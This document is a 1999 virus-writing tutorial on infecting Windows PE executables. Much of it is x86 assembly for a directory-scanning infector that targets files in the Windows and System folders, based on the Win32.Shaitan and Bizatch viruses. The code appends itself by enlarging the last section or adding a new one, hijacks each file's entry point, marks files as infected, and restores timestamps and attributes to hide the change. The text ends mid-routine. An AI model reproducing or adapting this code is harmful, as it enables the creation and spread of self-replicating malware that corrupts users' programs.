Appending to the PE file
By Lord Julus
[1999]

Foreword

As normal as you could expect, after starting getting preocupied in Win32 programming, my first approach was on the 'getting into it' part, which came up in my article called 'Accessing Win32 APIS by scanning the import tables'. The second part, which comes after the info-pe project, is, of course, a guide to appending to the PE file. Hope you will all enjoy this stuff...

> As a sidenote, I will use the same notation as in my last article:

                  offset A<apiname>A = a pointer to the real api

> For example:

                  mov eax, [ebp+AExitProcessA]
                  call eax

> is the same as:

                  call ExitProcess

I say this so you should understand that EBP is considered as a delta handle.

For many people the following article might look a little bit confusing. The fact is that if you know a little about programming in Win32, a little about the PE header layout and a little about the PE file layout itself, everything I wrote here suddenly becomes very easy.

Credits

The first and biggest credits go to Shaitan and Quantum. Most of the appending code here is based on original ideas from the Win32.Shaitan and Win32.Bizatch viruses. Due to some leaks in the api handling system the two viruses are harmless and will not spread, but the appending method stands high. I have improved myself the routines as much as I could and I sure hope you will understand it all...

Basics

Before going on the road of the asm I have to remind you again that this tutorial expects you to have at least a minimum knoledge on the PE header. If you don't, go and read a book about it... you're gonna need it! Also, I expect you know a little on the Win32 programming. If you don't, I guess there's no purpose to read this furthure (read my first Win32 article first)...

I will use the same method as my other article: I will explain the stuff, then I will present you a full code that does the trick with all the explanations between blocks of instructions.

Even if this article does not intend to teach you the ways of Win32, I feel compelled to give you the least I can think of. So here goes:

>          .--------------.
>          | The Glossary |
>          |              |
>          |------------------------------------------------------------------.
>          |    PE                |  Portable Executable File                 |
>          |    PE header         |  Information on the PE file               |
>          |    Section           |  Part of the PE file                      |
>          |                      |  (The PE file is made up from more        |
>          |                      |   consecutive sections)                   |
>          |    Section Headers   |  Information on the PE section            |
>          |    Image Base        |  The address the PE file is loaded at     |
>          |                      |  execution                                |
>          |    VA                |  Virtual Address                          |
>          |    RVA               |  Relative Virtual Address                 |
>          |    Raw Data          |  The actual data in the section           |
>          |    Size of Raw Data  |  The actual section data length           |
>          |    Virtual Size      |  The virtual size of the section          |
>          |                      |  (is diffrent from the size of raw data   |
>          |                      |  because it is aligned to the section     |
>          |                      |  alignment)                               |
>          |    Alignment         |  A number to which the section or the     |
>          |                      |  file is aligned to                       |
>          |    EntrypointRVA     |  The RVA of the entrypoint (where the     |
>          |                      |  real code starts)                        |
>          '------------------------------------------------------------------'

As you are probably used to, this article is almost complete for the topic, but I will illustrate the ways of appending to a PE file from the point of view of a directory scanning virus. This means that the article will give you complete directions on how to look-up directories, find files and infect them. However, the routines for PE file appending themselves can be used also in other kinds of viruses, like, for example w95 TSRs.

So, let's set the goal: we want to open a Portable Exe (PE), append some code to it and redirect the initial instruction point (IP) to it, so that after the execution of our code, it can jump to the original code and run it with no problems.

> Here are the two ways I will present here:

> 1. Increasing the size of the last section
> 2. Adding a new section

But first, let's check the things common to both methods.

Common area

Here I will describe things which are common for both infection types. First let me say that I will fully describe the entire process of locating files and infecting them.

Here is the most common approach: your virus has found the kernel, has located all the necesary apis and now, before returning to the original host's code, it has to do the infection:

>           call Infect_directories           ; Infect the directories...
>                                             ;
>     getout:                                 ;
>           cmp ebp, 0                        ; first generation ?
>           je exit_now                       ;
>           mov eax, [ebp+offset oldip]       ; restore old IP
>           add eax, imagebase                ; align to memory
>           jmp eax                           ; and run host...
>                                             ;
>     exit_now:                               ;
>           push 0                            ;
>           call ExitProcess                  ;

As you can see, the returning to the host is very easy! You simply retrieve the saved value from oldip, you add the image base where the host is loaded and you make a JMP to it...

Changing directories

Let's take a look at the simplest way to scan the directories in order to locate PE files. Here are the apis we shall use:

>            GetWindowsDirectoryA
>            GetSystemDirectoryA
>            GetCurrentDirectoryA
>            SetCurrentDirectoryA

> The first two functions expect this:

                  push <size>
                  push <offset to empty buffer>

The <size> is the maximum length expected for the returned string. The buffer is a space where the name of the directory will be returned.

For the third function (GetCurrentDirectoryA), even if it does exactly the same type of job as the other two, it expects the parameters in the reverse order:

                  push <offset to empty buffer>
                  push <size>

Usualy <size> equals 128h.

The SetCurrentDirectory function expects on the stack a pointer to the new directory:

                  push <offset new directory>

I will not discuss the error messages here.

Let's look at a common way of locating and changing to the Windows and the System directories and then returning to the original directory:

>     Infect_directories proc near
>            push  128                          ; Get Windows directory
>            lea eax, [ebp+offset windir]       ;
>            push eax                           ;
>            mov eax, [ebp+offset AGetWindowsDirectoryA]
>            call eax                           ;
>                                               ;
>            push  128                          ; Get System directory
>            lea eax, [ebp+offset sysdir]       ;
>            push eax                           ;
>            mov eax, [ebp+offset AGetSystemDirectoryA]
>            call eax                           ;
>                                               ;
>            lea eax, [ebp+offset crtdir]       ; Get Current directory
>            push eax                           ;
>            push 128                           ;
>            mov eax, [ebp+offset AGetCurrentDirectoryA]
>            call eax                           ;
>                                               ;
>            lea eax, [ebp+offset windir]       ;  Change to Windows directory
>            push eax                           ;
>            mov eax, [ebp+offset ASetCurrentDirectoryA]
>            call eax                           ;

So, we are in the Windows directory now... Let's set a level of infection and call the directory infection routine:

>            mov dword ptr [ebp+offset infections], 3 ; infect 3 files there
>            call infect_current_dir            ;
>                                               ;
>            lea eax, [ebp+offset sysdir]       ; Change to System directory
>            push eax                           ;
>            mov eax, [ebp+offset ASetCurrentDirectoryA]
>            call eax                           ;

> The same thing goes for the System directory:

>            mov dword ptr [ebp+offset infections], 3 ; infect 3 files there
>            call infect_current_dir            ;

> Now let's return to the original current directory:

>            lea eax, [ebp+offset crtdir]       ; Change back to current directory
>            push eax                           ;
>            mov eax, [ebp+offset ASetCurrentDirectoryA]
>            call eax                           ;
>            ret                                ;
>     Infect_directories endp                   ;

> Here are the definitions used in the above procedure:

>            windir db 128h dup(0)             ; Windows directory
>            sysdir db 128h dup(0)             ; System directory
>            crtdir db 128h dup(0)             ; Current directory

Ok, now we know how to change directories. The above thing is the least your virus should do. In order to make a more sophisticated virus, you need to make a smart attack. This includes droping over very used files, like CLIPBRD.EXE, CALC.EXE, MSHEARTS.EXE, etc., doing back directory scan, using smart marks in the registry... But this will be all covered in the next article (called 'Playing w/ the Registry', probably)...

Finding Files

This procedure (infect_current_dir) is called whenever a directory needs to be infected. The number of files searched in the current directory is equal to the 'infections' variable set before calling this procedure.

Let's see what apis shall we use in this stage:

           FindFirstFileA
           FindNextFileA

The FindFirstFileA expects this:

                  push <offset search_record>
                  push <offset search_match>

The search record is an empty buffer which will be filled with the appropiate values if the searched file is found.

The search_match is a pointer to a string, like this for example:

                  exestr db "*.exe",0

Using this, the FindFirst api will search for any file with the EXE extension.

The search record has a special layout. Here is how you should define it:

>      max_path EQU 260                                  ; max length of filename
>                                                        ;
>      filetime                        STRUC             ; filetime structure
>              FT_dwLowDateTime        DD ?              ;
>              FT_dwHighDateTime       DD ?              ;
>      filetime                        ENDS              ;
>                                                        ;
>      win32_find_data                 STRUC             ;
>              FileAttributes          DD ?              ; attributes
>              CreationTime            filetime ?        ; time of creation
>              LastAccessTime          filetime ?        ; last access time
>              LastWriteTime           filetime ?        ; last modificationm
>              FileSizeHigh            DD ?              ; filesize
>              FileSizeLow             DD ?              ; -"-
>              Reserved0               DD ?              ;
>              Reserved1               DD ?              ;
>              FileName                DB max_path DUP (?) ; long filename
>              AlternateFileName       DB 13 DUP (?)     ; short filename
>                                      DB 3 DUP (?)      ; dword padding
>      win32_find_data                 ENDS              ;
>                                                        ;
>      search    win32_find_data ?                       ; our search area

If the function succeds, a file handle is returned in EAX and by all means you have to save it! And that is needed because the next function, FindNextFileA needs it. Before calling it you should do this:

>                   push <offset search_record>
>                   push handle

If no file is found, EAX=0h, otherwise a new handle is put in EAX and the search record is filled with the new values.

Ok, now as you know how it works, let's see the full example:

>     infect_current_dir proc near              ; This infects the current dir
>           lea edi, [ebp+offset search]        ; point to Search Record
>           lea eax, [ebp+offset search]        ; "    "      "      "
>           push eax                            ; push the address of the s_record
>           lea eax, [ebp+offset exestr]        ;
>           push eax                            ; push the address of file mask
>           mov eax, [ebp+offset AFindFirstFileAA]
>           call eax                            ; find first matching file

If no file was found, EAX=0FFFFFFFFh, otherwise EAX=new handle...

>           inc eax                             ; check for EAX = -1
>           jz no_files                         ;
>           dec eax                             ; restore eax
>           push eax                            ; save handle
>           lea esi, [edi.FileName]             ; ESI = pointer to filename...
>           mov ecx, [edi.FileSizeLow]          ; ECX = filesize

I used edi. because edi pointed to the search record structure. Now, esi points to the file name and ecx holds the file's size. It's all that we need to infect it...

>           Call Infect_File                    ; infect file...

A description of this procedure follows below. If the file was infected correctly, the carry is cleared otherwise it's set. If it's clear, then we decrease the number of already done infections.

>           jc Another_file                     ;
>           dec dword ptr [ebp+offset infections] ; decrement infection count

Here we are about to start the FindNext routine:

>     Another_file:                             ;
>           push edi                            ; save search record address
>           lea edi, [edi.FileName]             ; We have to clean up the area
>           mov ecx, 13d                        ; the new filename will appear on,
>           mov al, 0                           ; otherwise shit remains before the
>           rep stosb                           ; extension...
>           pop edi                             ; restore search record address
>           pop eax                             ; restore file handle
>           push eax                            ; and save it again
>           push edi                            ; push find zone
>           push eax                            ; push handle
>           mov eax, [ebp+offset AFindNextFileAA]
>           call eax                            ; and find the next matching file
>                                               ;
>           test eax, eax                       ; no more files ?
>           jz All_done                         ;
>           lea esi, [edi.FileName]             ; ESI = pointer to filename...
>           mov ecx, [edi.FileSizeLow]          ;
>           Call Infect_File                    ; infect file...
>           jc failinfection                    ;
>           dec dword ptr [ebp+infections]      ; decrement infection count
>                                               ;
>     failinfection:                            ;
>           cmp dword ptr [ebp+infections], 0   ; done ?
>           jne Another_file                    ;
>                                               ;
>     All_done:                                 ;
>           pop eax                             ;
>     no_files:                                 ;
>           ret                                 ;
>     infect_current_dir endp                   ;

So, basically I guess you understood this. It's no big philosophy. Just search for the first matching file (exe, dll, etc...) and call the infecting procedure, then try to locate another file, all until no more files are to be found or the maximum number of infections was met.

Now, let's see what can we do after we located the file we wanted in the current directory. Remember that ESI points to the file name and ECX holds the file's length...

Opening and mapping the file

Under Win32, it is extremly easy to manipulate files. The method used is the mapping. By mapping you should understand this: a memory area is allocated and the entire file is mapped there. This means that you work directly into memory and everything that you do there is reflected in the physical file also. All the relative addresses inside the file start from the address of the map. Here you must be very attentive not to mix the file handle with the map handle.

Let's start:

>     Infect_File Proc Near
>           pushad                                 ; save all registers
>                                                  ;
>           mov dword ptr [ebp+newfilesize], ecx   ; save file size
>           mov word ptr [ebp+infectionflag], 0    ; reset infection flag
>           add ecx, viruslen                      ; ecx = victim filesize + virus
>           add ecx, 1000h                         ; + 1000h
>           mov [ebp+offset memory], ecx           ; this will give us the memory
>                                                  ; to map...

When mapping a file we need an amount of memory equal to the original file plus the virus length which will be appended, plus some extra work space. If you don't allocate enough memory for the map, when trying to write over the boundaries of the map, the virus will generate an invalid fault page.

Let's check the apis we use here more detailed:

>     ------------------------------------------------------------------------------

>          .--------------------.
>        .-| GetFileAttributesA |
>        | '--------------------'
>        |--------> expects:      push <offset filename>
>        |
>        '--------< returns:      EAX = file attributes

>     ------------------------------------------------------------------------------

>          .--------------------.
>        .-| SetFileAttributesA |
>        | '--------------------'
>        |--------> expects:      push <new attributes>
>        |                        push <offset filename>
>        |
>        '--------< returns:      nothing

The used value for <new attributes> is 80h, meaning 'any file'.

>     ------------------------------------------------------------------------------

>          .-------------.
>        .-| CreateFileA |
>        | '-------------'
>        |
>        |--------> expects:      push <file template handle>
>        |                        push <file attributes>
>        |                        push <open type>
>        |                        push <security option>
>        |                        push <sharing mode>
>        |                        push <access mode>
>        |                        push <offset filename>
>        |
>        '--------< returns:      EAX = file handle if success
>                                 EAX = 0 if failed

As much as the name sounds like it only creates new files, this api is very useful and can also be used to open files. Here are the descriptions for the arguments:

>            <file template handle> MUST be 0 for Windows95!
>            <file attributes> should be 0 (any file)
>            <open type> should be 3 (open existing file)
>            <security option> should be 0 (default)
>            <sharing mode> should be 1 (file shared for read)
>            <access mode> should be (80000000h + 40000000h) (generic read/write)

>     ------------------------------------------------------------------------------

>          .--------------.
>        .-| GetFileTimeA |
>        | '--------------'
>        |--------< expects:      push <offset creation_time>
>        |                        push <offset last_write_time>
>        |                        push <offset last_access_time>
>        |                        push <file handle>
>        |
>        '--------< returns:      at the specified offsets the 3 types of time

>     ------------------------------------------------------------------------------

>          .--------------.
>        .-| GetFileSizeA |
>        | '--------------'
>        |--------> expects:      push <offset filesize>
>        |                        push <filehandle>
>        |
>        '--------< returns:      filesize at the specified offset

Warning: you need to have a dword as the filesize, but when you push the offset you push the offset of it's high word.

>     ------------------------------------------------------------------------------

>          .--------------------.
>        .-| CreateFileMappingA |
>        | '--------------------'
>        |--------> expects:      push <filename handle>
>        |                        push <maximum size>
>        |                        push <minimum size>
>        |                        push <page access rights>
>        |                        push <security attributes>
>        |                        push <file handle>
>        |
>        '--------< returns:      EAX = map handle if success
>                                 EAX = 0 if failed

>            <filename handle> must be 0
>            <maximum size> is the 'memory' value we computed earlier
>            <minimum size> is 0
>            <page access rights> should be 4 (page read/write)
>            <security attributes> should be 0 (default)
>            <file handle> handle to an opened file (the file to map)

So, basically this allocates a memory area equal to 'memory', serving to be filled with a file, job done by the next api:

>     ------------------------------------------------------------------------------

>          .---------------.
>        .-| MapViewOfFile |
>        | '---------------'
>        |--------> expects:      push <amount>
>        |                        push <file offset high>
>        |                        push <file offset low>
>        |                        push <map access mode>
>        |                        push <map handle>
>        |
>        '--------< returns:      EAX = the address of the map if success
>                                 EAX = 0 if failed

>            <amount> equals the 'memory'
>            <file offset high> and
>            <file offset low> mark from where to map. Should be 0
>            <map access mode> should be 2 (file map write)
>            <map handle> the handle returned by CreateFileMapping

>     ------------------------------------------------------------------------------

>          .-----------------.
>        .-| UnmapViewOfFile |
>        | '-----------------'
>        |--------> expects:      push <map address>
>        |
>        '--------< returns:      nothing

This frees the memory of the map. The map address is the address returned by MapViewOfFile.

>     ------------------------------------------------------------------------------

>          .-------------.
>        .-| CloseHandle |
>        | '-------------'
>        |--------> expects:      push <handle>
>        |
>        '--------< returns:      nothing

The handle can be anykind of handle. Therefor, we use this to close the map handle first (returned by the CreateFileMapping) and then for the file itself (the file handle returned by CreateFileA).

>     ------------------------------------------------------------------------------

>          .----------------.
>        .-| SetFilePointer |
>        | '----------------'
>        |--------> expects:      push <how to move>
>        |                        push <distance to move high>
>        |                        push <distance to move>
>        |                        push <file handle>
>        |
>        '--------< returns:      nothing

>            <how to move> is 0 (from beginning of file)
>            <distance to move high> should be set to 0
>            <distance to move> is the length of file
>            <file handle> is the file handle

Actually, how I gave you the parameters, they are set as to move the file pointer to the end of file. The distanceto move high is actually a pointer to a value. If it's set to zero this function can only operate on files with the length 2^32.

>     ------------------------------------------------------------------------------

>          .--------------.
>        .-| SetEndOfFile |
>        | '--------------'
>        |--------> expects:      push <file handle>
>        |
>        '--------< returns:      nothing

Sets the EOF to the current position of the pointer. Used to truncate files.

>     ------------------------------------------------------------------------------

>          .-------------.
>        .-| SetFileTime |
>        | '-------------'
>        |--------> expects:      push <offset creation_time>
>        |                        push <offset last_write_time>
>        |                        push <offset last_access_time>
>        |
>        '--------< returns:      nothing

>     ------------------------------------------------------------------------------

I know that maybe reading the description of the apis like this might be a little confunsing, but as we will look over the code itself you will understand better. Then you may look back on the description and understand better. What I forgot to say is that all of the above apis return 0 in EAX if an error occured and CF is set, so it's very easy to check for errors.

Ok, now let's go on with the code:

* First let's save the original attributes:

>           mov [ebp+offset fileofs], esi          ; esi = pointer to filename
>           push esi                               ; save it
>           mov eax, [ebp+AGetFileAttributesA]     ;
>           call eax                               ; Get the file attributes
>           cmp eax, 0                             ;
>           mov [ebp+fileattributes], eax          ; save them

* Now let's set the 'any file' attribute:

>           push 80h                               ;
>           push esi                               ;
>           mov eax, [ebp+offset ASetFileAttributesA]
>           call eax                               ; set them to normal
>                                                  ;

* Now let's open the file

>           push 0                                 ; file template
>           push 0                                 ; file attributes
>           push 3                                 ; OPEN EXISTING File
>           push 0                                 ; Security option = default
>           push 1                                 ; File share for read
>           push 80000000h or 40000000h            ; General write and read
>           push esi                               ; pointer to filename
>           mov eax, [ebp+offset ACreateFileA]     ;
>           Call eax                               ; Call Api
>                                                  ; EAX = file handle
>           mov [ebp+offset filehandle], eax       ;
>           cmp eax, -1                            ;
>           je infection_error                     ; can't open file ?!?

* Let's save file's creation, last write, last access time

>           mov ebx, offset ftcreation             ; save all 3 types of time
>           add ebx, ebp                           ;
>           push ebx                               ;
>           add ebx, 8                             ;
>           push ebx                               ;
>           add ebx, 8                             ;
>           push ebx                               ;
>           push eax                               ;
>           mov ebx, [ebp+AGetFileTimeA]           ;
>           call ebx                               ; get'em

* Now let's get the filesize and save it for later:

>           push 0                                 ; save the filesize for later
>           push dword ptr [ebp+offset filehandle] ;
>           mov eax, [ebp+AGetFileSizeA]           ;
>           call eax                               ;
>           mov dword ptr [ebp+offset newfilesize], eax

* Let's go on and create the file mapping for the file:

>           push 0                                 ; filename handle = NULL
>           push dword ptr [ebp+offset memory]     ; max size
>           push 0                                 ; min size (no need)
>           push 4                                 ; Page read & write
>           push 0                                 ; security attributes
>           push dword ptr [ebp+offset filehandle]
>           mov eax, [ebp+offset ACreateFileMappingA]
>           call eax                               ; File map!
>                                                  ; Eax = new map handle
>           mov [ebp+offset maphandle], eax        ;
>           cmp eax, 0                             ;
>           je close_file                          ; can't map file ?!?

* If we have the map, let's map the view of the file:

>           push dword ptr [ebp+offset memory]     ; bytes to map
>           push 0                                 ; file offset
>           push 0                                 ; "  " "    "
>           push 2                                 ; File Map Write Mode
>           push eax                               ; File Map Handle
>           mov eax, [ebp+offset AMapViewOfFileA]  ; Call API
>           call eax                               ;
>                                                  ;
>           cmp eax, 0                             ;
>           je close_map                           ; can't map view of file ?!?
>           mov esi, eax                           ; ESI = base of map...
>           mov [ebp+offset mapaddress], esi       ;

We succeded! The file is opened and we can work on it knowing that it is mapped at the ESI address. First let's check if it is EXE and if it is a PE file:

>           cmp word ptr [esi], 'ZM'               ; Exe file ?
>           jne Unmap_view                         ;
>           cmp word ptr [esi+38h], 'xx'           ; Already infected ?
>           jne ok_go                              ;
>           mov word ptr [ebp+infectionflag], 0FFh ; mark it...
>           jmp Unmap_view                         ;
>                                                  ;
>     ok_go:                                       ;
>           mov ebx, dword ptr [esi+3ch]           ;
>           cmp word ptr [esi+ebx], 'EP'           ; Portable Exe ?
>           jne Unmap_view                         ;

If the file is not EXE, is already infected or is not a PE file, we proceed to unmap the view of file, otherwise we continue:

>           add esi, ebx                           ; ESI points to PE header
>           mov [ebp+offset PEheader], esi         ;
>           mov eax, [esi+28h]                     ; save IP of file
>           mov [ebp+offset oldip], eax            ;

The oldip value is the one we save and use for when we want to return to the original host.

>           mov eax, [esi+3ch]                     ; save file alignement
>           mov [ebp+offset filealign], eax        ;

When we append the virus to the PE file we increase it's size. But the file alignment must be preserved. The file alignment is a number which divides the file size exactly (filesize mod filealign = 0), or at least I think it should, but it seems the OS doesn't give much shit about it...

Starting this place, you may choose the first method, or the second method:

1. Increasing the last section

From here on, we must go specific. The following is the description of the first method of increasing the last section's body.

Here your knowledge of the PE header is really needed. First we want to locate the last section.

>           mov ebx, [esi+74h]                     ; No. of directories entries
>           shl ebx, 3                             ; * 8 (size)
>           xor eax, eax                           ;
>           mov ax, word ptr [esi+6h]              ; no. of sections
>           dec eax                                ; we look for the last's ending
>           mov ecx, 28h                           ; size of sections' header
>           mul ecx                                ; EAX = ECX * EAX
>           add esi, 78h                           ;
>           add esi, ebx                           ;
>           add esi, eax                           ; ESI = Pointer to the last
>                                                  ; section header

The formula used is this:

>           Address of the last section's header =
>           (Directory Table) +
>           (No. of Directories)*(Directory Size) +
>           (No. of Sections - 1)*(Section header size)

>           The Directory size is 8.
>           The Section Header size is 28h.
>           The pointer to the Directory Table is 78h.

So, after the calculations, ESI points to the last section's header. Let's start modifying it:

>           or dword ptr [esi+24h],00000020h       ; Set [CWE] flags: code,
>           or dword ptr [esi+24h],20000000h       ;                  executable,
>           or dword ptr [esi+24h],80000000h       ;                  writable

The flags are very important. They tell the loader that the section now has executable code and it is writable.

>           mov eax, [esi+10h]                     ; save size of raw data in
>           mov [ebp+offset oldrawsize], eax       ; this section
>           add dword ptr [esi+8h], viruslen       ; and increase virtual size

The size of raw data is the actual size of the data in the section. The virtual size is the one we must increase with our virus size. Now, after the increasing, let's check how much did we mess the file align. To do that we divide the new size to the filealign value and we get as a reminder the number of bytes to pad:

>           mov eax, [esi+8h]                      ; Get new size in EAX
>           mov ecx, [ebp+offset filealign]        ; ECX = File alignment
>           div ecx                                ; Get remainder in EDX
>           mov ecx, [ebp+offset filealign]        ; ECX = File alignment
>           sub ecx, edx                           ; No. of bytes to pad...
>           mov [esi+10h], ecx                     ; "     "       "       "

Now size of raw data = no.of bytes to pad

>           mov eax, [esi+8h]                      ; Get current VirtualSize
>           add eax, [esi+10h]                     ; EAX = SizeOfRawdata padded
>           mov [esi+10h], eax                     ; Set new SizeOfRawdata

Now size of raw data = old virtual size + no. of bytes to pad

>           mov [ebp+offset newrawsize], eax       ; Also, save it...

The virus will be at the end of the section. In order to find it's address we have the formula:

>            VirtualAddress + VirtualSize - VirusLength = VirusStart

>           mov eax, [esi+0ch]                     ; Get VirtualAddress
>           add eax, [esi+8h]                      ; Add VirtualSize
>           sub eax, viruslen                      ; Deduct size of virus
>           mov [ebp+offset newip], eax            ; EAX = New EIP! Save it...

Here we compute with how much did we increase the size of raw data:

>           mov eax, [ebp+offset oldrawsize]       ; Original SizeOfRawdata
>           mov ebx, [ebp+offset newrawsize]       ; New SizeOfRawdata
>           sub ebx, eax                           ; Increase in size
>           mov [ebp+offset incrawsize], ebx       ; Save increase value...

Compute the new file size:

>           mov eax, [esi+14h]                     ; File offset of sec's rawdata
>           add eax, [ebp+offset newrawsize]       ; Add size of new rawdata
>           mov [ebp+offset newfilesize], eax      ; EAX = New filesize! Save...

Now prepare to copy the virus to the host. The formulas are:

>           Address to copy to = Map Address +
>                                Last Section Address +
>                                Last Section Virtual Size -
>                                Virus Length

>           Address to copy from = the start

>           mov eax, [esi+14h]                     ; File offset of sec's rawdata
>           add eax, [esi+8h]                      ; Add VirtualSize of section
>           sub eax, viruslen                      ; Deduct virus length from it
>           add eax, [ebp+offset mapaddress]       ; align in memory to map address
>                                                  ;
>           mov edi, eax                           ; Location to copy to...
>           mov esi, offset start                  ; Location to copy from...
>           add esi, ebp                           ; Adjust with delta pointer
>           mov ecx, viruslen                      ; No. of bytes to copy
>           rep movsb                              ; Copy all the bytes!

Now, let's alter furthur the PE header, by marking the new IP, increasing the total size of the files' image with the increasing of the last section:

>           mov esi, [ebp+offset PEheader]         ; ESI = Addr. of PE header
>           mov eax, [ebp+offset newip]            ; Get value of new EIP in EAX
>           mov [esi+28h], eax                     ; Write it to the PE header
>           mov eax, [ebp+offset incrawsize]       ; Get inc. size of last section
>           add [esi+50h], eax                     ; Add it to SizeOfImage

Now, let's mark the file as infected:

>           mov esi, [ebp+offset mapaddress]       ; mark file as infected
>           mov word ptr [esi+38h], 'xx'           ;

That's it !!!

That's all about appending to the last section. Let's make a quick review of what we did and how:

- locate PE header
- locate Directory Table at 78h
- locate last section's header address
- increase the size of raw data
- increase the virtual size
- append the virus to the end
- locate the new IP
- mark the new IP
- increase the size of image

That's all ! Now all you have to do is read the closing procedures...

2. Adding a new section

Now, let's go on with the second method. Let's keep in mind that ESI was pointing to the PE header, and let me tell you that as weare going to create a new section, we need to also retrieve the section align, like this:

>            mov eax, [esi+38h]
>            mov dword ptr [ebp + sectionalign], eax

Here is the layout used for the new section. The name field must be 8 characters long and you may put anything you want in there. Take peak to some common files. You may also set this to your virus name, for example...

>             newsection:                       ;
>             nsname           db ".section"    ; section name
>             nsvirtualsize    dd 0             ; Virtual Size
>             nsRVA            dd 0             ; Relative Virtual Size
>             nsphysicalsize   dd 0             ; = Size Of Raw Data
>             nsphysicaloffset dd 0             ; = Pointer to Size of Raw Data
>             nsreserved       dd 0,0,0         ; reserved
>             nsflags db 40h,0,0,0c0h           ; = Code, Executable, Writable

* Let's locate the end of the last section's header:

>           mov ebx, [esi+74h]                     ; No. of directories entries
>           shl ebx, 3                             ; * 8 (size)
>           xor eax, eax                           ;
>           mov ax, word ptr [esi+6h]              ; no. of sections
>           mov ecx, 28h                           ; size of sections' header
>           mul ecx                                ; EAX = ECX * EBX
>           add esi, 78h                           ;
>           add esi, ebx                           ;
>           add esi, eax                           ; ESI = Pointer to the end of
>                                                  ; the last section
>           lea edi, [ebp + offset newsection]     ;
>           xchg edi, esi                          ;

Now, EDI points to the end of the last section and ESI points to the new section layout. Let's start calculating the new values for this section header. The values are calculated using the last sections' values and they are rounded accordingly to the section alignment:

* Calculate the Relative Virtual Address (RVA) of the new section:

>           mov eax, [edi-5*8+8d]                           ; get last sect.'s RVA
>           add eax, [edi-5*8+12d]                          ; + last sect.'s size
>           mov ecx, dword ptr [ebp + offset sectionalign]  ; take section align
>           xor edx,edx                                     ;
>           div ecx                                         ;
>           inc eax                                         ; and make sure RVA
>           mul ecx                                         ; is aligned to it
>           mov dword ptr [ebp + offset nsRVA], eax         ; Got it !

* Calculate the physical size of the new section:

>           mov ecx, dword ptr [ebp + offset filealign]     ; take file alignment
>           mov eax,end-start                               ; eax = virus size
>           xor edx,edx                                     ;
>           div ecx                                         ;
>           inc eax                                         ; make sure the new
>           mul ecx                                         ; section respects file
>           mov dword ptr [ebp + offset nsphysicalsize],eax ; alignment

* Calculate the virtual size of the new section:

>           mov ecx, dword ptr [ebp + offset sectionalign]  ; we must align again
>           mov eax, end - start + 1000h                    ; virus size + work
>           xor edx, edx                                    ; space
>           div ecx                                         ;
>           inc eax                                         ;
>           mul ecx                                         ;
>           mov dword ptr [ebp + offset nsvirtualsize],eax  ;

* Calculate the physical offset of the new section:

>           mov eax,[edi-5*8+20d]                           ; The last section's
>           add eax,[edi-5*8+16d]                           ; pointer to raw data
>           mov ecx,dword ptr [ebp + offset filealign]      ; + it's size of raw
>           xor edx,edx                                     ; data, aligned to the
>           div ecx                                         ; file alignment
>           inc eax                                         ;
>           mul ecx                                         ;
>           mov dword ptr [ebp + offset nsphysicaloffset],eax

* Update the image size (the size in memory) of the file:

>           mov eax, end-start+1000h                        ; virus size + work
>           add eax,dword ptr [ebp + offset imagesize]      ; space
>           mov ecx,[ebp + offset sectionalign]             ; and, of course,
>           xor edx,edx                                     ; aligned to the
>           div ecx                                         ; section align
>           inc eax                                         ;
>           mul ecx                                         ;
>           mov dword ptr [ebp + offset imagesize],eax      ; save it in PE header

* Copy the new section after the last section header:

>           mov ecx,10
>           rep movsd

You may ask why I can write directly, without making space for the new section, by lowering everything downwards? That's easy: there is always space for at least one new section header.

* Now, let's save the new IP, and make it point to the virus:

>           mov eax, dword ptr [ebp + offset nsRVA]
>           mov dword ptr [ebp + newip], eax

* Finally, let's copy our virus to the end of the file:

>           mov edi, [ebp + offset nsphysicaloffset]   ; to the Raw Data Pointer
>           add edi, [ebp + offset mapaddress]         ; (we are in a map!!)
>           lea esi, [ebp + start]                     ; from the start
>           mov ecx, (end-start)/4+2                   ; virus length
>           cld                                        ; clear direction flag
>           rep movsd                                  ; and copy

Why +2? Just to make sure you don't loose the last bytes by dividing with 4.

* And now, update the final changes in the PE header:

>           mov esi, [ebp+offset PEheader]         ; ESI = Addr. of PE header
>           inc word ptr [esi+06h]                 ; increment number of sections
>           mov eax, [ebp+offset newip]            ; Get value of new EIP in EAX
>           mov [esi+28h], eax                     ; Write it to the PE header
>           mov eax, end-start                     ; compute new file size
>           add [ebp + newfilesize], eax           ; this is needed in closing

>           mov esi, [ebp+offset mapaddress]       ; mark file as infected
>           mov word ptr [esi+38h], 'xx'           ;

That's it !!! Even more easy than the first method... Now the original file has a new section which contains code and which is actually the virus itself, which will also represent the starting IP. After the execution of the virus, the control in returned to the host.

So, let's review:

- Find the last section's end
- Compute the new section's values
- Insert the new section's header
- Insert the new section body
- Update all fields in the PE header
- Nice and easy !!

After mastering both of the appending methods, let's move over to the final step, the closing of the file.

Closing the file

A part of the apis used here were described in the File Opening section.

* The first thing is to unmap the view of the file:

>     Unmap_view:                                  ; first unmap the view
>           push dword ptr [ebp+offset mapaddress] ;
>           mov eax, [ebp+AUnmapViewOfFileA]       ;
>           Call eax                               ;

* The next step is to close the map handle:

>     close_map:                                   ;
>           push dword ptr [ebp+offset maphandle]  ; then close the map handle
>           mov eax, [ebp+ACloseHandleA]           ;
>           call eax                               ;

* Then we start closing the file. First, we must restore it's time:

>     close_file:                                  ; then close file handle,
>           mov ebx, offset ftcreation             ; but first restore it's
>           add ebx, ebp                           ; original date and time
>           push ebx                               ;
>           add ebx, 8                             ;
>           push ebx                               ;
>           add ebx, 8                             ;
>           push ebx                               ;
>           push dword ptr [ebp+offset filehandle] ;
>           mov ebx, [ebp+ASetFileTimeA]           ;
>           call ebx                               ;

In order to properly close the file we must set it's EOF at the exact end of file. So, first we move the pointer to the end and set the EOF:

>           push 0                                 ; first we must set the file
>           push 0                                 ; pointer at the end of file
>           push dword ptr [ebp+offset newfilesize]; (that is the beginning +
>           push dword ptr [ebp+offset filehandle] ;  new file size)
>           mov eax, [ebp+offset ASetFilePointerA] ;
>           call eax                               ;
>                                                  ;
>           push dword ptr [ebp+offset filehandle] ; ...and then mark the end of
>           mov eax, [ebp+offset ASetEndOfFileA]   ; file...
>           call eax                               ;

* And finaly we close the file:

>           push dword ptr [ebp+offset filehandle] ; now, close !
>           mov eax, [ebp+ACloseHandleA]           ;
>           call eax                               ;

* Then we must restore File Attributes:

>           push dword ptr [ebp+offset fileattributes]
>           push dword ptr [ebp+offset fileofs]
>           mov eax, [ebp+offset ASetFileAttributesA]
>           call eax                               ;
>           jmp infection_succesful                ;
>                                                  ;
>     infection_error:                             ;
>           stc                                    ; CF set if an error occured
>           jmp outahere                           ; or file was already infected
>                                                  ;
